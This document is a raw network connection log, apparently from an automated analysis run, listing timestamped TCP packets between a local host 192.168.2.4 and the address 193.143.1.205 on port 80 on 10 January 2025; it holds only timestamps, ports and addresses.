Jan 10, 2025 18:26:37.001029968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001046896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001049995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001066923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001080036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001091957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001104116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001106977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001122952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001131058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001137972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001163006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001185894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001199007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001213074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001224995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001233101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001239061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001252890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001264095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001265049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001286030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001300097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001306057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001311064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001323938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001344919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001348972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001358986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001372099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001384020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001388073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001399040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001424074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001451969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001597881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001616001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001645088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001657963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001679897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001708031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001720905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001738071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001750946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.001761913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.001780033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002490997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002509117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002531052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002542973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002543926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002558947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002573013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002582073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002595901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002597094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002610922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002626896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002633095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002646923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002659082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002672911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002674103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002692938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002701998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002717018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002729893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002744913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002744913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002768040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002793074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002806902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002823114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002834082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002835035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002862930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002865076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002907991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.002909899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002923012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002935886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.002965927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.003070116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003089905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003110886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003123045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003128052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.003134966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003150940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003158092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.003165960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003182888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.003184080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003197908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003204107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.003216982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003227949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003241062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003252029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.003257036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.003271103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.003299952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.042182922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042202950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042229891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042253017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042273045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042272091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.042293072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042309046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042310953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.042323112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042335033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042347908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042349100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.042361975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042376995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042387962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.042426109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.042519093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042531967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042545080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042567968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.042589903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042603970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042615891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.042628050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.042646885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.047259092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047297001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047310114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047348976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.047368050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047384977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047400951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047414064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047414064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.047436953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047442913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.047451973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047463894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047476053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.047477961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047492027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047507048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047508955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.047524929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.047530890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.047576904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.086577892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.086607933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.086622953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.086633921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.086648941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.086663008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.086683989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.086684942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.086684942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.086730957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087068081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087095022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087109089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087116957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087131023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087151051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087166071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087177992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087199926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087213993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087229013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087241888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087256908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087284088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087285042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087299109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087318897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087342024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087344885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087380886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087388039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087410927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087424040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087439060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087446928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087457895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087479115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087480068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087492943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087510109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087518930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087526083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087539911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087546110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087554932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087577105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087579966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087595940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087618113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087619066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087632895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087647915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087654114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087666035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087682962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087683916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087697029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087709904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087723017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087728977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087749958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087785959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087830067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.087953091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087971926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.087985039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088010073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.088010073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088027000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088040113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088052034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088052988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.088063955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088076115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.088107109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.088279963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088301897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088321924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088332891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088340044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.088346958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088360071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.088368893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088381052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088395119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088406086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.088409901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.088444948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089134932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089162111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089175940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089189053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089190960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089210987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089238882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089251995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089265108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089273930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089284897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089297056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089299917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089314938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089338064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089346886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089354038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089368105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089374065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089384079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089407921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089411974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089457035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089459896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089473009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089488983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089503050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089512110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089534044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089545012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089577913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089591980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089602947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089612007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089638948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089668036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089682102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089694023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089723110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089729071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089741945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089759111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089766026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089782000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089793921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.089795113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.089828014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.090693951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.103391886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.128974915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129004002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129019022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129031897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129046917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129055977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.129060030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129084110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129092932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.129097939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129111052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129131079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129144907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.129146099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129158974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129169941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.129172087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129187107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.129204988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.129236937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.133821964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.133847952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.133862019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.133883953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.133898973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.133900881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.133915901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.133929014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.133929968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.133944035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.133956909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.133989096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.133995056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.134066105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.134087086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.134111881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.134115934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.134115934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.134124994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.134133101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.134170055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.173477888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.173573017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.173612118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.173650026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.173654079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.173687935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.173696995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.173727989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.173738956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.173799992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.173847914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:37.173856020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:37.173913002 CET	80	49730	193.143.1.205	192.168.2.4
